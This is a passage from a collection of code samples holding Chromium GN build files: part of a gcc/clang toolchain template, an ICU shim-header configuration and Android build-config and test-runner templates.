  if (defined(invoker.strip)) {\n        unstripped_sofile = \"{{root_out_dir}}/lib.unstripped/$soname\"\n      } else {\n        unstripped_sofile = sofile\n      }\n\n      command = \"$ld -shared {{ldflags}}${extra_ldflags} -o \\\"$unstripped_sofile\\\" -Wl,-soname=\\\"$soname\\\" @\\\"$rspfile\\\"\"\n\n      if (defined(invoker.strip)) {\n        strip_command = \"${invoker.strip} --strip-unneeded -o \\\"$sofile\\\" \\\"$unstripped_sofile\\\"\"\n        command += \" && \" + strip_command\n      }\n      rspfile_content = \"-Wl,--whole-archive {{inputs}} {{solibs}} -Wl,--no-whole-archive $solink_libs_section_prefix {{libs}} $solink_libs_section_postfix\"\n\n      description = \"SOLINK_MODULE $sofile\"\n\n      # Use this for {{output_extension}} expansions unless a target manually\n      # overrides it (in which case {{output_extension}} will be what the target\n      # specifies).\n      if (defined(invoker.loadable_module_extension)) {\n        default_output_extension = invoker.loadable_module_extension\n      } else {\n        default_output_extension = default_shlib_extension\n      }\n\n      default_output_dir = \"{{root_out_dir}}\"\n      if (shlib_subdir != \".\") {\n        default_output_dir += \"/$shlib_subdir\"\n      }\n\n      output_prefix = \"lib\"\n\n      outputs = [\n        sofile,\n      ]\n      if (sofile != unstripped_sofile) {\n        outputs += [ unstripped_sofile ]\n      }\n    }\n\n    tool(\"link\") {\n      exename = \"{{target_output_name}}{{output_extension}}\"\n      outfile = \"{{output_dir}}/$exename\"\n      rspfile = \"$outfile.rsp\"\n      unstripped_outfile = outfile\n      pool = \"//build/toolchain:link_pool($default_toolchain)\"\n\n      # Use this for {{output_extension}} expansions unless a target manually\n      # overrides it (in which case {{output_extension}} will be what the target\n      # specifies).\n      default_output_extension = default_executable_extension\n\n      default_output_dir = \"{{root_out_dir}}\"\n\n      if (defined(invoker.strip)) {\n        unstripped_outfile = \"{{root_out_dir}}/exe.unstripped/$exename\"\n      }\n\n      command = \"$ld {{ldflags}}${extra_ldflags} -o \\\"$unstripped_outfile\\\" -Wl,--start-group @\\\"$rspfile\\\" {{solibs}} -Wl,--end-group $libs_section_prefix {{libs}} $libs_section_postfix\"\n      if (defined(invoker.strip)) {\n        link_wrapper =\n            rebase_path(\"//build/toolchain/gcc_link_wrapper.py\", root_build_dir)\n        command = \"$python_path \\\"$link_wrapper\\\" --strip=\\\"${invoker.strip}\\\" --unstripped-file=\\\"$unstripped_outfile\\\" --output=\\\"$outfile\\\" -- $command\"\n      }\n      description = \"LINK $outfile\"\n      rspfile_content = \"{{inputs}}\"\n      outputs = [\n        outfile,\n      ]\n      if (outfile != unstripped_outfile) {\n        outputs += [ unstripped_outfile ]\n      }\n      if (defined(invoker.link_outputs)) {\n        outputs += invoker.link_outputs\n      }\n    }\n\n    # These two are really entirely generic, but have to be repeated in\n    # each toolchain because GN doesn't allow a template to be used here.\n    # See //build/toolchain/toolchain.gni for details.\n    tool(\"stamp\") {\n      command = stamp_command\n      description = stamp_description\n    }\n    tool(\"copy\") {\n      command = copy_command\n      description = copy_description\n    }\n\n    forward_variables_from(invoker, [ \"deps\" ])\n  }\n}\n\n# This is a shorthand for gcc_toolchain instances based on the Chromium-built\n# version of Clang. Only the toolchain_cpu and toolchain_os variables need to\n# be specified by the invoker, and optionally toolprefix if it's a\n# cross-compile case. Note that for a cross-compile case this toolchain\n# requires a config to pass the appropriate -target option, or else it will\n# actually just be doing a native compile. The invoker can optionally override\n# use_gold too.\ntemplate(\"clang_toolchain\") {\n  if (defined(invoker.toolprefix)) {\n    toolprefix = invoker.toolprefix\n  } else {\n    toolprefix = \"\"\n  }\n\n  gcc_toolchain(target_name) {\n    prefix = rebase_path(\"$clang_base_path/bin\", root_build_dir)\n    cc = \"$prefix/clang\"\n    cxx = \"$prefix/clang++\"\n    ld = cxx\n\n    readelf = \"${toolprefix}readelf\"\n    ar = \"${toolprefix}ar\"\n    nm = \"${toolprefix}nm\"\n\n    forward_variables_from(invoker, [ \"strip\" ])\n\n    toolchain_args = {\n      if (defined(invoker.toolchain_args)) {\n        forward_variables_from(invoker.toolchain_args, \"*\")\n      }\n      is_clang = true\n    }\n  }\n}\n"
  },
  {
    "path": "samples/GN/icu.gn",
    "content": "# Copyright 2016 The Chromium Authors. All rights reserved.\n# Use of this source code is governed by a BSD-style license that can be\n# found in the LICENSE file.\n\nimport(\"//build/config/linux/pkg_config.gni\")\nimport(\"//build/shim_headers.gni\")\n\ngroup(\"icu\") {\n  public_deps = [\n    \":icui18n\",\n    \":icuuc\",\n  ]\n}\n\nconfig(\"icu_config\") {\n  defines = [\n    \"USING_SYSTEM_ICU=1\",\n    \"ICU_UTIL_DATA_IMPL=ICU_UTIL_DATA_STATIC\",\n  ]\n}\n\npkg_config(\"system_icui18n\") {\n  packages = [ \"icu-i18n\" ]\n}\n\npkg_config(\"system_icuuc\") {\n  packages = [ \"icu-uc\" ]\n}\n\nsource_set(\"icui18n\") {\n  deps = [\n    \":icui18n_shim\",\n  ]\n  public_configs = [\n    \":icu_config\",\n    \":system_icui18n\",\n  ]\n}\n\nsource_set(\"icuuc\") {\n  deps = [\n    \":icuuc_shim\",\n  ]\n  public_configs = [\n    \":icu_config\",\n    \":system_icuuc\",\n  ]\n}\n\nshim_headers(\"icui18n_shim\") {\n  root_path = \"source/i18n\"\n  headers = [\n    # This list can easily be updated using the command below:\n    # find third_party/icu/source/i18n/unicode \\\n    # -iname '*.h' -printf '\"%p\",\\n' | \\\n    # sed -e 's|third_party/icu/i18n/common/||' | sort -u\n    \"unicode/alphaindex.h\",\n    \"unicode/basictz.h\",\n    \"unicode/calendar.h\",\n    \"unicode/choicfmt.h\",\n    \"unicode/coleitr.h\",\n    \"unicode/coll.h\",\n    \"unicode/compactdecimalformat.h\",\n    \"unicode/curramt.h\",\n    \"unicode/currpinf.h\",\n    \"unicode/currunit.h\",\n    \"unicode/datefmt.h\",\n    \"unicode/dcfmtsym.h\",\n    \"unicode/decimfmt.h\",\n    \"unicode/dtfmtsym.h\",\n    \"unicode/dtitvfmt.h\",\n    \"unicode/dtitvinf.h\",\n    \"unicode/dtptngen.h\",\n    \"unicode/dtrule.h\",\n    \"unicode/fieldpos.h\",\n    \"unicode/fmtable.h\",\n    \"unicode/format.h\",\n    \"unicode/fpositer.h\",\n    \"unicode/gender.h\",\n    \"unicode/gregocal.h\",\n    \"unicode/locdspnm.h\",\n    \"unicode/measfmt.h\",\n    \"unicode/measunit.h\",\n    \"unicode/measure.h\",\n    \"unicode/msgfmt.h\",\n    \"unicode/numfmt.h\",\n    \"unicode/numsys.h\",\n    \"unicode/plurfmt.h\",\n    \"unicode/plurrule.h\",\n    \"unicode/rbnf.h\",\n    \"unicode/rbtz.h\",\n    \"unicode/regex.h\",\n    \"unicode/region.h\",\n    \"unicode/reldatefmt.h\",\n    \"unicode/scientificnumberformatter.h\",\n    \"unicode/search.h\",\n    \"unicode/selfmt.h\",\n    \"unicode/simpletz.h\",\n    \"unicode/smpdtfmt.h\",\n    \"unicode/sortkey.h\",\n    \"unicode/stsearch.h\",\n    \"unicode/tblcoll.h\",\n    \"unicode/timezone.h\",\n    \"unicode/tmunit.h\",\n    \"unicode/tmutamt.h\",\n    \"unicode/tmutfmt.h\",\n    \"unicode/translit.h\",\n    \"unicode/tzfmt.h\",\n    \"unicode/tznames.h\",\n    \"unicode/tzrule.h\",\n    \"unicode/tztrans.h\",\n    \"unicode/ucal.h\",\n    \"unicode/ucol.h\",\n    \"unicode/ucoleitr.h\",\n    \"unicode/ucsdet.h\",\n    \"unicode/ucurr.h\",\n    \"unicode/udat.h\",\n    \"unicode/udateintervalformat.h\",\n    \"unicode/udatpg.h\",\n    \"unicode/udisplaycontext.h\",\n    \"unicode/ufieldpositer.h\",\n    \"unicode/uformattable.h\",\n    \"unicode/ugender.h\",\n    \"unicode/uldnames.h\",\n    \"unicode/ulocdata.h\",\n    \"unicode/umsg.h\",\n    \"unicode/unirepl.h\",\n    \"unicode/unum.h\",\n    \"unicode/unumsys.h\",\n    \"unicode/upluralrules.h\",\n    \"unicode/uregex.h\",\n    \"unicode/uregion.h\",\n    \"unicode/usearch.h\",\n    \"unicode/uspoof.h\",\n    \"unicode/utmscale.h\",\n    \"unicode/utrans.h\",\n    \"unicode/vtzone.h\",\n  ]\n}\n\nshim_headers(\"icuuc_shim\") {\n  root_path = \"source/common\"\n  headers = [\n    # This list can easily be updated using the command below:\n    # find third_party/icu/source/common/unicode \\\n    # -iname '*.h' -printf '\"%p\",\\n' | \\\n    # sed -e 's|third_party/icu/source/common/||' | sort -u\n    \"unicode/appendable.h\",\n    \"unicode/brkiter.h\",\n    \"unicode/bytestream.h\",\n    \"unicode/bytestrie.h\",\n    \"unicode/bytestriebuilder.h\",\n    \"unicode/caniter.h\",\n    \"unicode/chariter.h\",\n    \"unicode/dbbi.h\",\n    \"unicode/docmain.h\",\n    \"unicode/dtintrv.h\",\n    \"unicode/enumset.h\",\n    \"unicode/errorcode.h\",\n    \"unicode/filteredbrk.h\",\n    \"unicode/icudataver.h\",\n    \"unicode/icuplug.h\",\n    \"unicode/idna.h\",\n    \"unicode/listformatter.h\",\n    \"unicode/localpointer.h\",\n    \"unicode/locid.h\",\n    \"unicode/messagepattern.h\",\n    \"unicode/normalizer2.h\",\n    \"unicode/normlzr.h\",\n    \"unicode/parseerr.h\",\n    \"unicode/parsepos.h\",\n    \"unicode/platform.h\",\n    \"unicode/ptypes.h\",\n    \"unicode/putil.h\",\n    \"unicode/rbbi.h\",\n    \"unicode/rep.h\",\n    \"unicode/resbund.h\",\n    \"unicode/schriter.h\",\n    \"unicode/std_string.h\",\n    \"unicode/strenum.h\",\n    \"unicode/stringpiece.h\",\n    \"unicode/stringtriebuilder.h\",\n    \"unicode/symtable.h\",\n    \"unicode/ubidi.h\",\n    \"unicode/ubrk.h\",\n    \"unicode/ucasemap.h\",\n    \"unicode/ucat.h\",\n    \"unicode/uchar.h\",\n    \"unicode/ucharstrie.h\",\n    \"unicode/ucharstriebuilder.h\",\n    \"unicode/uchriter.h\",\n    \"unicode/uclean.h\",\n    \"unicode/ucnv.h\",\n    \"unicode/ucnv_cb.h\",\n    \"unicode/ucnv_err.h\",\n    \"unicode/ucnvsel.h\",\n    \"unicode/uconfig.h\",\n    \"unicode/udata.h\",\n    \"unicode/uenum.h\",\n    \"unicode/uidna.h\",\n    \"unicode/uiter.h\",\n    \"unicode/ulistformatter.h\",\n    \"unicode/uloc.h\",\n    \"unicode/umachine.h\",\n    \"unicode/umisc.h\",\n    \"unicode/unifilt.h\",\n    \"unicode/unifunct.h\",\n    \"unicode/unimatch.h\",\n    \"unicode/uniset.h\",\n    \"unicode/unistr.h\",\n    \"unicode/unorm.h\",\n    \"unicode/unorm2.h\",\n    \"unicode/uobject.h\",\n    \"unicode/urename.h\",\n    \"unicode/urep.h\",\n    \"unicode/ures.h\",\n    \"unicode/uscript.h\",\n    \"unicode/uset.h\",\n    \"unicode/usetiter.h\",\n    \"unicode/ushape.h\",\n    \"unicode/usprep.h\",\n    \"unicode/ustring.h\",\n    \"unicode/ustringtrie.h\",\n    \"unicode/utext.h\",\n    \"unicode/utf.h\",\n    \"unicode/utf16.h\",\n    \"unicode/utf32.h\",\n    \"unicode/utf8.h\",\n    \"unicode/utf_old.h\",\n    \"unicode/utrace.h\",\n    \"unicode/utypes.h\",\n    \"unicode/uvernum.h\",\n    \"unicode/uversion.h\",\n  ]\n}\n"
  },
  {
    "path": "samples/GN/internal_rules.gni",
    "content": "# Copyright 2014 The Chromium Authors. All rights reserved.\n# Use of this source code is governed by a BSD-style license that can be\n# found in the LICENSE file.\n\n# Do not add any imports to non-//build directories here.\n# Some projects (e.g. V8) do not have non-build directories DEPS'ed in.\nimport(\"//build_overrides/build.gni\")\nimport(\"//build/config/android/config.gni\")\nimport(\"//build/config/dcheck_always_on.gni\")\nimport(\"//build/config/sanitizers/sanitizers.gni\")\n\nassert(is_android)\n\n# These identify targets that have .build_config files (except for android_apk,\n# java_binary, resource_rewriter, since we never need to depend on these).\n_java_target_whitelist = [\n  \"*:*_java\",\n  \"*:*_javalib\",\n  \"*:*_java_*\",  # e.g. java_test_support\n  \"*:java\",\n  \"*:junit\",\n  \"*:junit_*\",\n  \"*:*_junit_*\",\n  \"*:*javatests\",\n  \"*:*_assets\",\n  \"*android*:assets\",\n  \"*:*_apk_*resources\",\n  \"*android*:resources\",\n  \"*:*_resources\",\n  \"*:*_grd\",\n  \"*:*locale_paks\",\n\n  # TODO(agrieve): Rename targets below to match above patterns.\n  \"*android_webview/glue:glue\",\n  \"//build/android/rezip:rezip\",\n  \"//chrome/test/android/cast_emulator:cast_emulator\",\n]\n\n# Targets that match the whitelist but are not actually java targets.\n_java_target_blacklist = [\n  \"//chrome:packed_resources\",\n  \"//remoting/android:remoting_android_raw_resources\",\n  \"*:*_unpack_aar\",\n]\n\n# Write the target's .build_config file. This is a json file that contains a\n# dictionary of information about how to build this target (things that\n# require knowledge about this target's dependencies and cannot be calculated\n# at gn-time). There is a special syntax to add a value in that dictionary to\n# an action/action_foreachs args:\n#   --python-arg=@FileArg($rebased_build_config_path:key0:key1)\n# At runtime, such an arg will be replaced by the value in the build_config.\n# See build/android/gyp/write_build_config.py and\n# build/android/gyp/util/build_utils.py:ExpandFileArgs\ntemplate(\"write_build_config\") {\n  type = invoker.type\n  _is_prebuilt_binary =\n      defined(invoker.is_prebuilt_binary) && invoker.is_prebuilt_binary\n\n  # Don't need to enforce naming scheme for these targets since we never\n  # consider them in dependency chains.\n  if (!_is_prebuilt_binary && type != \"android_apk\" && type != \"java_binary\" &&\n      type != \"resource_rewriter\") {\n    set_sources_assignment_filter(_java_target_whitelist)\n    _parent_invoker = invoker.invoker\n    _target_label =\n        get_label_info(\":${_parent_invoker.target_name}\", \"label_no_toolchain\")\n    sources = [\n      _target_label,\n    ]\n    if (sources != []) {\n      set_sources_assignment_filter(_java_target_blacklist)\n      sources = []\n      sources = [\n        _target_label,\n      ]\n      if (sources != []) {\n        assert(false, \"Invalid java target name: $_target_label\")\n      }\n    }\n    sources = []\n  }\n\n  action(target_name) {\n    set_sources_assignment_filter([])\n    build_config = invoker.build_config\n\n    assert(type == \"android_apk\" || type == \"java_library\" ||\n           type == \"android_resources\" || type == \"deps_dex\" ||\n           type == \"android_assets\" || type == \"resource_rewriter\" ||\n           type == \"java_binary\" || type == \"group\" || type == \"java_prebuilt\")\n\n    forward_variables_from(invoker,\n                           [\n                             \"deps\",\n                             \"testonly\",\n                           ])\n    if (!defined(deps)) {\n      deps = []\n    }\n\n    script = \"//build/android/gyp/write_build_config.py\"\n    depfile = \"$target_gen_dir/$target_name.d\"\n    inputs = []\n\n    _deps_configs = []\n    if (defined(invoker.possible_config_deps)) {\n      foreach(_possible_dep, invoker.possible_config_deps) {\n        set_sources_assignment_filter(_java_target_whitelist)\n        _target_label = get_label_info(_possible_dep, \"label_no_toolchain\")\n        sources = [\n          _target_label,\n        ]\n        if (sources == []) {\n          set_sources_assignment_filter(_java_target_blacklist)\n          sources = []\n          sources = [\n            _target_label,\n          ]\n          if (sources != []) {\n            deps += [ \"${_target_label}__build_config\" ]\n            _dep_gen_dir = get_label_info(_possible_dep, \"target_gen_dir\")\n            _dep_name = get_label_info(_possible_dep, \"name\")\n            _deps_configs += [ \"$_dep_gen_dir/$_dep_name.build_config\" ]\n          }\n        }\n        sources = []\n      }\n      set_sources_assignment_filter([])\n    }\n    _rebased_deps_configs = rebase_path(_deps_configs, root_build_dir)\n\n    outputs = [\n      build_config,\n    ]\n\n    args = [\n      \"--type\",\n      type,\n      \"--depfile\",\n      rebase_path(depfile, root_build_dir),\n      \"--deps-configs=$_rebased_deps_configs\",\n      \"--build-config\",\n      rebase_path(build_config, root_build_dir),\n    ]\n\n    is_java = type == \"java_library\" || type == \"java_binary\" ||\n              type == \"java_prebuilt\"\n    is_apk = type == \"android_apk\"\n    is_android_assets = type == \"android_assets\"\n    is_android_resources = type == \"android_resources\"\n    is_deps_dex = type == \"deps_dex\"\n    is_group = type == \"group\"\n\n    supports_android = is_apk || is_android_assets || is_android_resources ||\n                       is_deps_dex || is_group ||\n                       (is_java && defined(invoker.supports_android) &&\n                        invoker.supports_android)\n    requires_android =\n        is_apk || is_android_assets || is_android_resources || is_deps_dex ||\n        (is_java && defined(invoker.requires_android) &&\n         invoker.requires_android)\n\n    assert(!requires_android || supports_android,\n           \"requires_android requires\" + \" supports_android\")\n\n    # Mark these variables as used.\n    assert(is_java || true)\n    assert(is_apk || true)\n    assert(is_android_resources || true)\n    assert(is_deps_dex || true)\n    assert(is_group || true)\n\n    if (is_java || is_apk) {\n      args += [\n        \"--jar-path\",\n        rebase_path(invoker.jar_path, root_build_dir),\n      ]\n    }\n\n    if (is_apk || is_deps_dex || (is_java && supports_android)) {\n      args += [\n        \"--dex-path\",\n        rebase_path(invoker.dex_path, root_build_dir),\n      ]\n    }\n    if (supports_android) {\n      args += [ \"--supports-android\" ]\n    }\n    if (requires_android) {\n      args += [ \"--requires-android\" ]\n    }\n    if (defined(invoker.bypass_platform_checks) &&\n        invoker.bypass_platform_checks) {\n      args += [ \"--bypass-platform-checks\" ]\n    }\n\n    if (defined(invoker.apk_under_test)) {\n      deps += [ \"${invoker.apk_under_test}__build_config\" ]\n      apk_under_test_gen_dir =\n          get_label_info(invoker.apk_under_test, \"target_gen_dir\")\n      apk_under_test_name = get_label_info(invoker.apk_under_test, \"name\")\n      apk_under_test_config =\n          \"$apk_under_test_gen_dir/$apk_under_test_name.build_config\"\n      args += [\n        \"--tested-apk-config\",\n        rebase_path(apk_under_test_config, root_build_dir),\n      ]\n    }\n\n    if (is_android_assets) {\n      if (defined(invoker.asset_sources)) {\n        _rebased_asset_sources =\n            rebase_path(invoker.asset_sources, root_build_dir)\n        args += [ \"--asset-sources=$_rebased_asset_sources\" ]\n      }\n      if (defined(invoker.asset_renaming_sources)) {\n        _rebased_asset_renaming_sources =\n            rebase_path(invoker.asset_renaming_sources, root_build_dir)\n        args += [ \"--asset-renaming-sources=$_rebased_asset_renaming_sources\" ]\n\n        # These are zip paths, so no need to rebase.\n        args += [ \"--asset-renaming-destinations=${invoker.asset_renaming_destinations}\" ]\n      }\n      if (defined(invoker.disable_compression) && invoker.disable_compression) {\n        args += [ \"--disable-asset-compression\" ]\n      }\n    }\n\n    if (is_android_resources || is_apk) {\n      assert(defined(invoker.resources_zip))\n      args += [\n        \"--resources-zip\",\n        rebase_path(invoker.resources_zip, root_build_dir),\n      ]\n      if (defined(invoker.android_manifest)) {\n        inputs += [ invoker.android_manifest ]\n        args += [\n          \"--android-manifest\",\n          rebase_path(invoker.android_manifest, root_build_dir),\n        ]\n      } else {\n        assert(!is_apk, \"apk build configs require an android_manifest\")\n      }\n      if (defined(invoker.custom_package)) {\n        args += [\n          \"--package-name\",\n          invoker.custom_package,\n        ]\n      }\n      if (defined(invoker.r_text)) {\n        args += [\n          \"--r-text\",\n          rebase_path(invoker.r_text, root_build_dir),\n        ]\n      }\n    }\n\n    if (is_android_resources && defined(invoker.resource_dirs)) {\n      resource_dirs = rebase_path(invoker.resource_dirs, root_build_dir)\n      args += [ \"--resource-dirs=$resource_dirs\" ]\n    }\n\n    if (is_apk) {\n      if (defined(invoker.shared_libraries_runtime_deps_file)) {\n        # Don't list shared_libraries_runtime_deps_file as an input in order to\n        # avoid having to depend on the runtime_deps target. See comment in\n        # rules.gni for why we do this.\n        args += [\n          \"--shared-libraries-runtime-deps\",\n          rebase_path(invoker.shared_libraries_runtime_deps_file,\n                      root_build_dir),\n        ]\n      }\n\n      if (defined(invoker.secondary_abi_shared_libraries_runtime_deps_file)) {\n        # Don't list secondary_abi_shared_libraries_runtime_deps_file as an\n        # input in order to avoid having to depend on the runtime_deps target.\n        # See comment in rules.gni for why we do this.\n        args += [\n          \"--secondary-abi-shared-libraries-runtime-deps\",\n          rebase_path(invoker.secondary_abi_shared_libraries_runtime_deps_file,\n                      root_build_dir),\n        ]\n      }\n\n      if (defined(invoker.proguard_enabled) && invoker.proguard_enabled) {\n        args += [\n          \"--proguard-enabled\",\n          \"--proguard-info\",\n          rebase_path(invoker.proguard_info, root_build_dir),\n        ]\n      }\n\n      if (defined(invoker.apk_path)) {\n        _rebased_apk_path = rebase_path(invoker.apk_path, root_build_dir)\n        _rebased_incremental_apk_path =\n            rebase_path(invoker.incremental_apk_path, root_build_dir)\n        _rebased_incremental_install_script_path =\n            rebase_path(invoker.incremental_install_script_path, root_build_dir)\n        args += [ \"--apk-path=$_rebased_apk_path\" ]\n        args += [ \"--incremental-apk-path=$_rebased_incremental_apk_path\" ]\n        args += [ \"--incremental-install-script-path=$_rebased_incremental_install_script_path\" ]\n      }\n    }\n\n    if (defined(invoker.java_sources_file)) {\n      args += [\n        \"--java-sources-file\",\n        rebase_path(invoker.java_sources_file, root_build_dir),\n      ]\n    }\n    if (defined(invoker.srcjar)) {\n      args += [\n        \"--srcjar\",\n        rebase_path(invoker.srcjar, root_build_dir),\n      ]\n    }\n    if (defined(invoker.bundled_srcjars)) {\n      _rebased_bundled_srcjars =\n          rebase_path(invoker.bundled_srcjars, root_build_dir)\n      args += [ \"--bundled-srcjars=$_rebased_bundled_srcjars\" ]\n    }\n    if (defined(invoker.input_jars_paths)) {\n      _rebased_input_jars_paths =\n          rebase_path(invoker.input_jars_paths, root_build_dir)\n      args += [ \"--extra-classpath-jars=$_rebased_input_jars_paths\" ]\n    }\n    if (defined(invoker.proguard_configs)) {\n      _rebased_proguard_configs =\n          rebase_path(invoker.proguard_configs, root_build_dir)\n      args += [ \"--proguard-configs=$_rebased_proguard_configs\" ]\n    }\n    if (defined(invoker.gradle_treat_as_prebuilt) &&\n        invoker.gradle_treat_as_prebuilt) {\n      args += [ \"--gradle-treat-as-prebuilt\" ]\n    }\n    if (defined(invoker.main_class)) {\n      args += [\n        \"--main-class\",\n        invoker.main_class,\n      ]\n    }\n    if (current_toolchain != default_toolchain) {\n      # This has to be a built-time error rather than a GN assert because many\n      # packages have a mix of java and non-java targets. For example, the\n      # following would fail even though nothing depends on :bar(//baz):\n      #\n      # shared_library(\"foo\") {\n      # }\n      #\n      # android_library(\"bar\") {\n      #   deps = [ \":foo(//baz)\" ]\n      #   assert(current_toolchain == default_toolchain)\n      # }\n      _msg = [\n        \"Tried to build an Android target in a non-default toolchain.\",\n        \"target: \" + get_label_info(\":$target_name\", \"label_with_toolchain\"),\n        \"default_toolchain: $default_toolchain\",\n      ]\n      args += [ \"--fail=$_msg\" ]\n    }\n  }\n}\n\ntemplate(\"copy_ex\") {\n  set_sources_assignment_filter([])\n  action(target_name) {\n    forward_variables_from(invoker,\n                           [\n                             \"data\",\n                             \"deps\",\n                             \"inputs\",\n                             \"sources\",\n                             \"testonly\",\n                             \"visibility\",\n                           ])\n    if (!defined(sources)) {\n      sources = []\n    }\n    script = \"//build/android/gyp/copy_ex.py\"\n    depfile = \"$target_gen_dir/$target_name.d\"\n\n    _stamp_file = \"$target_gen_dir/$target_name.stamp\"\n    outputs = [\n      _stamp_file,\n    ]\n\n    args = [\n      \"--depfile\",\n      rebase_path(depfile, root_build_dir),\n      \"--stamp\",\n      rebase_path(_stamp_file, root_build_dir),\n      \"--dest\",\n      rebase_path(invoker.dest, root_build_dir),\n    ]\n    rebased_sources = rebase_path(sources, root_build_dir)\n    args += [ \"--files=$rebased_sources\" ]\n\n    if (defined(invoker.clear_dir) && invoker.clear_dir) {\n      args += [ \"--clear\" ]\n    }\n\n    if (defined(invoker.args)) {\n      args += invoker.args\n    }\n\n    if (defined(invoker.renaming_sources) &&\n        defined(invoker.renaming_destinations)) {\n      sources += invoker.renaming_sources\n      rebased_renaming_sources =\n          rebase_path(invoker.renaming_sources, root_build_dir)\n      args += [ \"--renaming-sources=$rebased_renaming_sources\" ]\n\n      renaming_destinations = invoker.renaming_destinations\n      args += [ \"--renaming-destinations=$renaming_destinations\" ]\n    }\n  }\n}\n\n# Generates a script in the build bin directory which runs the test\n# target using the test runner script in build/android/test_runner.py.\ntemplate(\"test_runner_script\") {\n  testonly = true\n  _test_name = invoker.test_name\n  _test_type = invoker.test_type\n  _incremental_install =\n      defined(invoker.incremental_install) && invoker.incremental_install\n\n  _runtime_deps =\n      !defined(invoker.ignore_all_data_deps) || !invoker.ignore_all_data_deps\n\n  if (_runtime_deps) {\n    # This runtime_deps file is used at runtime and thus cannot go in\n    # target_gen_dir.\n    _target_dir_name = get_label_info(\":$target_name\", \"dir\")\n    _runtime_deps_file =\n        \"$root_out_dir/gen.runtime/$_target_dir_name/$target_name.runtime_deps\"\n    _runtime_deps_target = \"${target_name}__write_deps\"\n    group(_runtime_deps_target) {\n      forward_variables_from(invoker,\n                             [\n                               \"data\",\n                               \"data_deps\",\n                               \"deps\",\n                               \"public_deps\",\n                             ])\n      write_runtime_deps = _runtime_deps_file\n    }\n  }\n\n  action(target_name) {\n    forward_variables_from(invoker,\n                           [\n                             \"data_deps\",\n                             \"deps\",\n                           ])\n    if (!defined(deps)) {\n      deps = []\n    }\n    if (!defined(data_deps)) {\n      data_deps = []\n    }\n\n    script = \"//build/android/gyp/create_test_runner_script.py\"\n    depfile = \"$target_gen_dir/$target_name.d\"\n\n    data_deps += [ \"//build/android:test_runner_py\" ]\n    data = []\n\n    test_runner_args = [\n      _test_type,\n      \"--output-directory\",\n      rebase_path(root_build_dir, root_build_dir),\n    ]\n\n    if (_runtime_deps) {\n      deps += [ \":$_runtime_deps_target\" ]\n      data += [ _runtime_deps_file ]\n      test_runner_args += [\n        \"--runtime-deps-path\",\n        rebase_path(_runtime_deps_file, root_build_dir),\n      ]\n    }\n\n    # apk_target is not used for native executable tests\n    # (e.g. breakpad_unittests).\n    if (defined(invoker.apk_target)) {\n      assert(!defined(invoker.executable_dist_dir))\n      deps += [ \"${invoker.apk_target}__build_config\" ]\n      _apk_build_config =\n          get_label_info(invoker.apk_target, \"target_gen_dir\") + \"/\" +\n          get_label_info(invoker.apk_target, \"name\") + \".build_config\"\n      _rebased_apk_build_config = rebase_path(_apk_build_config, root_build_dir)\n      assert(_rebased_apk_build_config != \"\")  # Mark as used.\n    } else if (_test_type == \"gtest\") {\n      assert(\n          defined(invoker.executable_dist_dir),\n          \"Must define either apk_target or executable_dist_dir for test_runner_script()\")\n      test_runner_args += [\n        \"--executable-dist-dir\",\n        rebase_path(invoker.executable_dist_dir, root_build_dir),\n      ]\n    }\n\n    if (_test_type == \"gtest\") {\n      assert(defined(invoker.test_suite))\n      test_runner_args += [\n        \"--suite\",\n        invoker.test_suite,\n      ]\n    } else if (_test_type == \"instrumentation\") {\n      _test_apk = \"@FileArg($_rebased_apk_build_config:deps_info:apk_path)\"\n      if (_incremental_install) {\n        _test_apk = \"@FileArg($_rebased_apk_build_config:deps_info:incremental_apk_path)\"\n      }\n      test_runner_args += [\n        \"--test-apk=$_test_apk\",\n        \"--test-jar\",\n        rebase_path(invoker.test_jar, root_build_dir),\n      ]\n      if (defined(invoker.apk_under_test)) {\n        deps += [ \"${invoker.apk_under_test}__build_config\" ]\n        _apk_under_test_build_config =\n            get_label_info(invoker.apk_under_test, \"target_gen_dir\") + \"/\" +\n            get_label_info(invoker.apk_under_test, \"name\") + \".build_config\"\n        _rebased_apk_under_test_build_config =\n            rebase_path(_apk_under_test_build_config, root_build_dir)\n        _apk_under_test =\n            \"@FileArg($_rebased_apk_under_test_build_config:deps_info:apk_path)\"\n        if (_incremental_install) {\n          _apk_under_test = \"@FileArg($_rebased_apk_under_test_build_config:deps_info:incremental_apk_path)\"\n        }\n        test_runner_args += [ \"--apk-under-test=$_apk_under_test\" ]\n      }\n      if (emma_coverage) {\n        # Set a default coverage output directory (can be overridden by user\n        # passing the same flag).\n        test_runner_args += [\n          \"--coverage-dir\",\n          rebase_path(\"$root_out_dir/coverage\", root_build_dir),\n        ]\n      }\n    } else if (_test_type == \"junit\") {\n      assert(defined(invoker.test_suite))\n      test_runner_args += [\n        \"--test-suite\",\n        invoker.test_suite,\n      ]\n    } else {\n      assert(false, \"Invalid test type: $_test_type.\")\n    }\n\n    if (defined(invoker.additional_apks)) {\n      foreach(additional_apk, invoker.additional_apks) {\n        deps += [ \"${additional_apk}__build_config\" ]\n        _build_config = get_label_info(additional_apk, \"target_gen_dir\") + \"/\" +\n                        get_label_info(additional_apk, \"name\") + \".build_config\"\n        _rebased_build_config = rebase_path(_build_config, root_build_dir)\n        test_runner_args += [\n          \"--additional-apk\",\n          \"@FileArg($_rebased_build_config:deps_info:apk_path)\",\n        ]\n      }\n    }\n    if (defined(invoker.shard_timeout)) {\n      test_runner_args += [ \"--shard-timeout=${invoker.shard_timeout}\" ]\n    }\n    if (_incremental_install) {\n      test_runner_args += [\n        \"--test-apk-incremental-install-script\",\n        \"@FileArg($_rebased_apk_build_config:deps_info:incremental_install_script_path)\",\n      ]\n      if (defined(invoker.apk_under_test)) {\n        test_runner_args += [\n          \"--apk-under-test-incremental-install-script\",\n          \"@FileArg($_rebased_apk_under_test_build_config:deps_info:incremental_install_script_path)\",\n        ]\n      }\n      test_runner_args += [ \"--fast-local-dev\" ]\n    }\n    if (is_asan) {\n      test_runner_args += [ \"--tool=asan\" ]\n    }\n\n    generated_script = \"$root_build_dir/bin/run_${_test_name}\"\n    outputs = [\n      generated_script,\n    ]\n    data += [ generated_script ]\n\n    args = [\n      \"--depfile\",\n      rebase_path(depfile, root_build_dir),\n      \"--script-output-path\",\n      rebase_path(generated_script, root_build_dir),\n    ]\n    if (defined(android_test_runner_script)) {\n      args += [\n        \"--test-runner-path\",\n        android_test_runner_script,\n      ]\n    }\n\n    args += test_runner_args\n  }\n}\n\nif (enable_java_templates) {\n  import(\"//build/config/zip.gni\")\n  import(\"//third_party/ijar/ijar.gni\")\n  